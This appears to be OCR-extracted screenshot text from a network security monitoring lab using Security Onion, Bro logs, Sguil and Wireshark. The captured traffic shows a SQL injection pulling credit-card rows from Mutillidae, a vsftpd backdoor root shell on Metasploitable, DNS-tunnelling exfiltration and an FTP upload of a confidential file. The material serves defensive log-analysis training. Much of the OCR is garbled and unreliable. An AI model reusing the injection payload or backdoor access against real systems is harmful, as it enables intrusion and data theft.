1228:58

1498480117.137938|CRDNVHBVBVQHhOGQRK|209.165.201.17[52644[200.165.200.23580|1| GET|209.165.200.235mutillidaefindex.phy
“+union+select+ccid,ccnumber,ccv,expiration,null+frome+credit_cards+--+&password=&user-info
-button=View+Account+Detalls|http://209.165.200.235/mutillidaelindex.php?page=user-

info.php&username=9627+union+select+ccid%2Cccnumber%2Cccvsb2Cexpirationd2Cnull+romscredit_cards+-

+&password=auser-info-php-submit-button=View+Account+Details|1.1/Mozilla/5.0 (XL1; Linux x86_64; 1v:45.0) Gecko20100101
Firefox45.0[0|960[200|OK}-HHTTP:URI_SQLIL---[FKhkpVOCsjpoujsod-ftextintmi
11=b10_ bip -1 ri=52644 i 0rt=80
en917=960 =200.165.200.235 L1 =/mutiidae/index. phpZpag
cunion selectcoid. conumber cov.expiration nul rom-credit_cards -8 passord=guser-info-php-submit:

iew+Account+Details referer=http:/209.165.200.235/mutilidae/index php?page=user-
info.php&usemame=0627+union+select+ccid¥2Ccenumberd62Ccovth2Cexpirationd2Cnull+from+credit_cards+-—+&password=guser-info
‘php-submit-bution=ViewAccount+Details g€
texynim

1498480117.137961{CXuYKo1LIRIMUQb4AA|209.165.201.17[52644[209.165.200.235[80]1|GET|209.165.200.235imutillidaelindex.ph
page=user-info.php&username="+union+select+ccid,ccnumber,ccv,expiration,null+rom+credit_cards+--+&password=&user-info
php-submit-button=View+Account+Details|http://209.165.200.235/mutillidaelindex.php2page=user-
info.php&username=9627+union+select+ccid%2Cccnumber%2Cccvsh2Cexpirationd62Cnull+romcredit_cards+—
+&password=&user-info-php-submit-button=View+Account+Details|1.1|Mozilla/5.0 (XL1; Linux x86_64; rv:45.0) Gecko/20100101

Firefox45.0[0|960[200|OK}-+HTTP:URI_SQLI-++-[FUGPU62Z1hVD3Th27} Htextihtm
=127.0.0.1 procra=bro_bifp clac<=BRO_HTTR <rc1p=200,165.201.17 <repori=52644 c(p=200,165.200.235 csipor=B0

t 0e=200 length=960 0=GET

info.php&usemame='tunion-selectcoid. conumber.cov.expiration null rom+credit_cards -8 passuord=guser-info-php-submit:

button=View+AccountsDefals (e er=r=iipy/209.165.200.235/mulidae/index php?page=yser-

info.php&userman

‘php-submit-bution=ViewAccount+Details .
e=textitml

=627 +union+select+ccid%2Cecnumber%2Ccevdi2Cexpiration%2Cnull+from+credit_cards+—+&password=&user-info
t0zilla/5.0 (X11: Linux x86_64; 1v:45.0) Gecko/20100101 Firef0xy45.0
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DST. 54

DST. <p class="report-header">Results for . 5 fecords found.<p><b>Username=</b>4444111122223333<br><b>Password=</b>745<br><b>Signature=</b>2012-03-0L<br><p
><b>Usermame=</b>7746536337776330<br><b>Password=</b>722<br><b>Signalure=</>2015-04-0L<br><p><b>Username=</b>8242325748474749<br><b>Password=</
b>461<br><b>Signature=</b>2016-03-0L<br><p><b>Usermname=</b>7725653200487633<br><b>Password=</b>230<br><b>Signature=</>2017-06-01<br><p><b>Usemanm

e=<b>1234567812345678<br><h>Password=</b>627 <br><b>Signature=<b>2018-11-01<br><p><p>
DST: ...<I- End Content —>
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Connections

ELsA~ | Admn~ 1 node(s) with 8108210 logs indered and 8109400 archived

Query ciass=8R0_ONS astpon="53" roupbyhostname ordery_drase

From 0170820 208214 | o | & urc [[AsTom~

==

Value

2 72606174 61757420746865206¢617374207365637572.05 example. com
3 235200165200 in-addrarpa

s 4341404649444546544941 4c204441435540454054024441204041542053 ns example.com
s

5

4508546869732064616375606566742063616674616966T: ns.example com
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DNS dstp y_dirasc
34140464944454254494140204441435540454€540a4441204241542

Result Opions... v | Field Summary
host(1) program(1) class(1) srcip(1) srcport(4) dstip(2) dstport(1) proto(1) hostname(1) answer(1)
query_class(1) query_type(1) return_code(2

Records: 51508 ms2 << (1t < ey 1
Timestamp Fields
1503433862.545904]CgBczt13B1eMLNTelc|192.168.0.11(52064]8.8.4.4{53]udp| 18580
PPN . c.4544454e5449414020484143554045 0540a4441204e4154205 RN T )
imfo | JU8AUI22 | 105157001 progran=bio_dns c2<s-BRO_DNS -ic=192 168.0.11 s1cpor'=52064 s p=B.8.4.4

nosiname=43414e46494445405449414204441435540454e51034441204e41542053. 15 example.con
query INTERNET query_type=A retun_cod:
1503433867.549642ICHK]13qZUdwU07VSg|192.168.0.1155436(8.8.4.4{53]udp|18580]-
ueAugos | 143014046490445065444140204041435540450540a4441204e41542053.ns.exampl.com1IC_IN'
Info 9 155=127.00. o 1=Dis Gns o---BA0 OIS 1o1=102166.0.11 o1 =55455 - 1=8.044

205528 =4341404649444540544941 4c2044414355404545402444120404542053.ns. example.cort

INTERNET query._type=A return_cod





image54.png
seconion-eth;

seconion-eth2-1

2017-11-13 20:30:51

209.165.201.17
209.165.201.17

49252
40638

209.165.200.235
209.165.200.235

1433
21

ET POLICY Suspicious inbound to MSSQL por..
ET EXPLOIT VSFTPD Backdoor User Login Smil...

seconion-eth1-1

2017-11-13 20:30:52

209.165.200.235

6200

209.165.201.17

35380

GPL ATTACK_RESPONSE id check returned root |

Seconion-eth2-1

seconion-ossec

2017-11-13 20:30:52
2017-11-13 20:42:57

209.165.200.235
209.165.200.235

6200

209.165.201.17
0.0.0.0

35380

o olalo o)

GPLATTACR RESPONGE 1d check returned root
[OSSEC] Reverse lookup error (bad ISP or atta.





image55.png
]
]
[RE| View Correlated Events |7.5936

2
2

seconion-eth2-1

seconion-eth1-1

seconion-ossec

75035
5.5846

1.5207

20171113 20:30:51
20171113 20:30:52
2017113203052
2017-11-13 20:42:57




image56.png
RealTime Evems} Escalated Events|  5.5846 }
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seconion-ethl-1 5848 X
m
017-11-13 20:33:10
seconion-eth1-1 5848
200.165.201.17 (209-165-201-17.got.net)
1200.165.200.235 (209-165-200-235. got.net)
30507
6200
S Fingerprint: 209.165.201.17:39597 - UNKNOWN [520:63:1:60:M 1460,5,TNW7.
~>209.165.200.235:6200 (link: ethernet/modem)
uid=0(root) gid=0(root)
nohup >/dev/null 2581
 echo qeQCIFLAJOPDOKzZC
qeQCrFLaOPDIKzC
whoami
 root
hostname
metasploitable
: ifconfig
Search Abort close
Debug Messages
Using archived data: &
/nsmiserver data/securityonion/archive/2017-11-13/seconion-eth1-1/209.165.201.17:39597.209.165
200.235:6200-6.raw
ished.





image58.png
seconion-eth1-1 5848

backup:/var/backups:/bin/sh
ailing List Manager. var/lit:/bin/sh
:39:39:ircd: var/runvircd: /bin/sh
:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

00:101::/var/lib/libuuid:/bin/sh
01:102::/nonexistent:/bin/false

: ome/ftp:/bin/false
- postgresix:108:117:PosteresQL administrator,,:/var/lb/postgresql:/bin/bash
ySQL Server,,:/var/lib/mysql:/bin/false
+ tomcats5:x:110:65534:1/usr/share/tomcats. :/bin/false

11:65534::/2/bin/false.
001:1001:just 3 user,11,i/home/user:/bin/bash

Abort

Debug Messages
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209.165.201.17_39597_209.165.200.235_6200-6.raw [Wireshark 1.12.1 (Git Rev Unknown from unknown)]
View Go Capture Analyze Statistics Telephony Tools Internals Help

@AM A B XGEIQED>eR I

Filter: |

& =@ @ | & B9 M = |

< expression... Clear Apply Save

No.  Time Source Destination Protocol Length Info
209.165.201.17

209.165.200.235  TCP 74 39597-6200 [SYN] Seq=0 Win=29200 Len=9 MSS=1460]

209.165.201.17  209.165.200.235  TCP 39597-6200 [ACK] Seq=1 Ack=1 Wi
91584  209.165.201.17  209.165.200.235  TCP 69 39597-6200 [PSH, ACK] Seq=1 Ack=1 Win=29312 Len

b Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
» Ethernet II, Src: 08:00:27:2b:22:6e (8:00:27:2b:22:6e), Dst: 08:00:27:ab:84:07 (08:00:27:ab:84:07
) Internet Protocol Version 4, Src: 209.165.201.17 (209.165.201.17), Dst: 209.165.200.235 (209.165.200.235

0000 08 00 27 ab 84 07 08 00 27 2b 22 6e 08 0 45 00
0010 00 3c 42 1f 40 00 3f 06 cd 54 dl a5 c9 11 dl a5
0020 c8 eb 9a ad 18 38 ae bl b5 20 00 80 00 00 ad 02
0030 72 10 92 98 00 00 02 04 05 b4 04 B2 08 0a 00 17

@ File: “tmp/209.165.201.17_39597_209.165.200.235_6200-6.raw" 9174 byte... ~ ...  Profile: Default
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(] Follow TCP Stream (tcp.stream eq 0) +0
Stream Content:

id

uid=0(root) gid=8(root)

nohup >/dev/null 281

lecho qeQCrFLAJOPDIKzC

qeQCrFLAIOPDIKzC

Mwhoami

root

hostname

metasploitable

ifconfig

etho Link encap:Ethernet HWaddr 08
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:feab:8407/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric
RX packets:1392 errors:@ dropped:0 overruns:0 fram
TX packets:1765 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:99353 (97.0 KB) TX bytes:705567 (689.0 KB
Interrupt:10 Base address:0xd020

Link encap:Local Loopback

‘ [ Filter Out This Stream ‘ ‘ % Close
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Port | DstIP DPort
2 200165200235 6200  209.165.201.17 35380

2017-111320:33:10  200.165.200235 6200  200.165.201.17 39597
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Dshield 1P Lookup &
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8
8 ey .
1 bro_notice
.
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Result Opions... v | Field Summary
host(1) program(1) class(1) srcip(1) srcport(1) dstip(1) dstport(1) mime_type(1) desc(1) protocol(1) notice_type(1
notice_msq(1) sub_msa(1)

Records: 1/1145ms2 < s

Timestamp Fields
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200.165.201.17 srcport=0
can:Port_Scan
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ebvents |Escalated bvents | 55846 | ssess |
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[ ] 1 seconion-. 55847  2017-111320:33:10 200.165.20117 36317 200165200235 21 6 ETEXPLOITVSFTPD Backdoor User LoginSs...
seconion-eth1-1 5847 o x
File
Sensor Name: seconion-eth1-1 [
Timestamp: 2017-11-13 20:33:10
Connection ID: .seconion-eth1-1.5847
: 200.165.201.17 (209-165-201-17.got.net) 2
200.165.200.235 (209-165-200-235.got.net) wRule
36317 > $HOME_NET 21 (msg:"ET EXPLOIT VSFTPD Backdoor User Login Smiley"; E
2 tont 11 IGER " danthr: cantent:"|2a 501" distancern g
09.165.201.17:36317 - UNKNOWN [520:63:1:60:M 1460,5,T,N W7:.227] (up: 4 hrs) DestIP  Ver HL T0S len D Flags Offset TTL Chsum
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00165200035 s [5 Jo [e3 [32382 |0 o3 [ssoas
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Query ["209.165.200.235" program="bro_ftp Submit Query

- Reuse - Grid
currenttab " display

From [2017-11-11 00:1812 | To o utc

*209.165.200.235" groupby:program (13) [Grouped by program] X
Result Options... » |Field Summary
hosi(1) program(1) class(1) sreip(1) srcport(1) dsti(1) dstpori(L) file_size(2) command(2) arg(2) mime_type(d)
reply_msa(2)
Records: 41495 ms 2 1 v
Timestamp Fields
1510605975.466378ICN]I5YLZFInAvQyDI|192.168.0.1143874[209.165.200.235(21analyst]
<hidden>[PORT[192,168,0,11,132,183|--{200[PORT command successful. Consider using
o | MonNov13 | PASVFI209.165.200.235/192.168.0.11j33975-
o p0.46:18 :
command successiul. Consider using PASV.
1510605975.466305[CP0saR25Jh00haOrIb[192.168.0.1143874[209.165.200.235(21analyst]
<hidden>[PORT[192,168,0,11,132,183|--{200[PORT command successful. Consider using
o | MonNov13  PASVFI209.165.200.235/192.168.0.11j33975-
o 20:46:19 051=127.0.0.1 procraim=bio_iip cs==BRO_ETR pori=43874 d(p=200.165.200.235
port=21 fle_size=200 commay arg ORT
command successiul. Consider using PASV.
1510605975.467002/CP0saR25Jh00haOrIb[192.168.0.11]43874[209.165.200.235(21analyst]
<hidden>[STOR|ftp:i1209.165.200.2351 Iconfidential txt--[226]Transfer complete.+++-
o | MonNov13 | [FoOPSYIESKQEQKNY]
o p0:s6:21 10=127.0.0.1 procraim=Bio P clas==BROUETP <rcio=192.168.0.11 Srcpori=43874 dip=209.165.200.235
1210=STOR 210=19://209.165.200.235/confidentialxt mime &

Transter complete.
1510605975.466994]CN]I5YL2FInAvQyDI|192.168.0.11}43874[209.165.200.235[21analyst]
<hidden>[STOR|ftp:i1209.165.200.2351.(confidential txt--[226]Transfer complete.}++-

o MonNov13 | [FLSYMDbgmQFiSjol
Ino | p0:6:21 =B _ip clas==BROLETP <rcip=192.168.0.11 <rcpor=43874 dip=209.165.200.235
6 commay “10=1p1200.165.200.235/ Jconfidenial ot mime. .
Transter complete.
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‘Sensor Name: seconion-ethi.
Timestamp: 2017-11-13 20:46:15

‘Connection ID: CLI

Src IP: 192.168.0.11 (Unknown)

Dst IP: 209,165.200.235 (209-165-200-235.got.net)

Src Port: 33975

Dst Port: 20

OS Fingerprint: 209.165.200.235:20 - Linux 2.6 (newer, 1) (up: 1 hrs)

OS Fingerprint: -> 192.168.0.11:33975 (distance 0, ink: ethernevmodem)

'SRC: CONFIDENTIAL DOCUMENT
'SRC: DO NOT SHARE

'SRC: This document contains information about the last secuity breach.
SRC

'DEBUG: Using archived data: /nsm/server_datalsecurityonion/archive/2017-11-13/seconion-eth1/192.168,0,11:33975_200.165.200.235:20-6.raw.
QUERY: SELECT sid FROM sensor WHERE hostname='seconion-eth1’ AND agent_type=pcap’ LIMIT 1
CAPME: Processed transcript in 1.21 seconds: 0.59 0.37 0,00 0.25 0.00

192.168.0.11:33975_200.165.200.235:20-6-1101147935 peap




image1.png
School of
Applied Computing




image70.png
200.165.200.235 6200 209.165.201.17

200.165.200.235 6200 209.165.201.17

& Show Packet Data ¥ Show Rule





image71.png




image72.png
2

View Correlated Events

2
1

seconion-eth1-1

seconion-eth1-1

seconion-eth2-1

seconion-ossec

5.2567
5.2568
7.2633
7.264
1535

2017-07-1115:43:02
2017-07-1115:43:03
20170711 15:43:02.
2017:07-1115:43:03
201707-1116:08:45

209.165.201.17
20.165.200.235
209.165.201.17
200.165.200.235
209.165.201.17




image73.png
RealTime Events | scalated Events. 52568 |

close | _Export

seconion-. 52568  201707-1115:43:03 200.165.200.235 6200  200.165.201.17
148 200.165.200.235 6200  200.165.201.17

1 seconion-.. 52570  2017:07-1115:
Event History
T
Transcript (force new)
Wireshark

cript




image74.png
seconion-eth1-1 2570

Sensor Name: seconion-eth1-1
estamp: 2017-07-1115:54:48
Connection ID: .seconion-eth1-1.2570

SrcIp; 200.165.201.17 (209-165-201-17.got.net)
DstIP: 200.165.200.235 (209-165-200-235.got.net)
srcPort 33085

6200
200.165.201.17:33985 - UNKNOWN [520:63:1
: ->200.165.200.235:6200 (

:M1460,5TNWT:
: ethernet/modem)

id=0(root) gid=0(root)

nohup >/dev/null 281

echo vj01PFayoVaIGYs2

DST: yj01PFayoVolGYE2

whoami

DST: root





image75.png
seconion-eth1-1 2570

102:103::/home/syslog:/bin/false
04: hnmelklng:lhmllalse

:,,:/home/service:/bin/bash





image76.png
209.165.201.17_33985_209.165.200.235_6200-6.raw _[Wireshark 1.12.1 (Git Rev Unknown from unknown)]

File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help

..ll BHxXEIQ«2»eadZ

iter: < | Expression... Clear Apply. Save

No. Time Destination Protocol  Lengtl Info

209.165.201.17 209.165.200.235  TCP
91976  209.165.201.17 209.165.200.235  TCP 69 33985-6200 [PSH, ACK] Seq=1 Ack=1 Win=29312

» Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
» Ethernet II, Src: 08 2b:22:6e (08:00:27:2b:22:6e), Dst: 08:00 6163 (61 27:58:26:63
) Internet Protocol Version 4, Src: 209.165.201.17 (209.165.201.17), Dst: 209.165.200.235 (209.165.200.235

0000 08 00 27 58 a6 63 08 00 27 2b 22 6e 08 0 45 00
0010 00 3c 04 88 40 00 3f 06 01 ec dl a5 c9 11 dl a5
0020 c8 eb 84 c1 18 38 67 27 b 5d 00 80 00 00 ad 02
0030 72 10 al 4c 00 00 02 04 05 b4 04 02 08 0a 00 06

@ File: "tmp/209.165.201.17_3398... ... Profile: Default
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1499789496.137552|C7v2UB2aljzzmn0Cd]192.168.0.1140058[209.165.200.235[21{analyst]
<hidden>[PORT[192,168,0,11,188,9}-+[200[PORT command successful. Consider using

o TUEJUITL  PASVFI209.165.200.235/192.168.0.11448137]
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complete





image84.png
capME!

Chromium

[ capME! x \§

C | A Not secure | bap://localhost/capme;7sip

92.168.0.11&dip=209.165.200.235&sp!

WELCOME analyst | LOGOUT

192.166.0.11:40058_200.165.200.235:21-6-1104113506.pcap

DST. 220 (vsFTPd 23.4)
DST.

SRC: USER analyst

SRC:

DST. 331 Please specify the password.
DST.

SRC: PASS cyberops

SRC:

DST. 230 Login successful

DST.

SRC: SYST

SRC:

DST. 215 UNIX Type: L8





image85.png
ELSA - Chromium
x \D capME! x) [ ELsA

C | A Notsecure | b&#ps://localhost

[ eLsa~ | Admin~ 1 node(s) with 274518.0 logs indexed and 274597.0 archived

Query [class=BRO_CONN service="tp-data" Submit Query | Help

From [2017-07-09 21:08:44 | To ) utc [ AdaTern + | [ Reporton~ | [ index + 'Zz”” cument o Grid

display

Result Opions... v | Fleld Summary

7 host(1) program(1) class(1) sreip(1) sreport(1) dsti(1) dstport() proto(1) bytes_in(1) service() conn_duration(2)
bytes_out(1) pkts_out(1) pkts_in(1) resp_countr ode

Records: 2/263ms 2 1 [15 v

Timestamp Fields

1499789496.139029|Cn3B522AY gRyFEOZE3|209.165.200.235[20]192.168.0.11148137tcpftp-
datalo. nommmmssrr (0IShAd(Fa}4|216]4{319|(empty)|US|-|seconion-ethl

Tue Jul 11 _

16:12:06 ; LZ_O_Ql program £=200.165.200.235

Dort=20
TCP by ¥ =0.004960 bytes_c

1499789496.139071|CvOyNX2E5nedBIn00e|209.165.200.235|20]192.168.0.1148137]tcplftp-
Tuegu11  datal0.00493610[103[SF(TITIO|ShAAIFal4[216]4{319](empty)|US|-seconion-ethd
b 27.0.0.1 =bro_conn class=BRO_CONN srcip=209.165.200.235 sic
16:12:06 -
dstport=48137 ¢ vice
I

Records: 2/263ms 2





image86.png
1921680114817 200 165 200235206 328612079 pcap

Sensor Name: secorion-etl.
Tresianp: 2017.07-11 161135

‘Comecton D: CLI

Sic P, 192 168.0.11 Unknowr)

DSt 200.165.200 235 (209-165.200.235 goney

Stc ot 46137

Dstpon 20

08 Fngerprint: 209.165.200 235.20 - Lnux 26 (e, 1) (4p: O )

05 Fingerpint. > 192.168.0 1148137 (3stance 0, Ik etermedmoder)

SRC: CONFIDENTIAL DOCUMENT
SRC: DONOT SHARE.

SRC: Th document contain nformation abouthe st secury beach.
sRe:

archived data: nsiservr_datalsecurtyonionSrchve2017-07-L1seconion-eU192.166.0 1 48137_200.165 200 235206 12w
msn T'id FROM sensor WHERE hosiame=seconion-¢ii” AND agent_ype= peap LMIT 1
Processed transcrptn0.92 seconds: 042030 000020 00

1921600114817 200 165 200235206 326612029 pcap




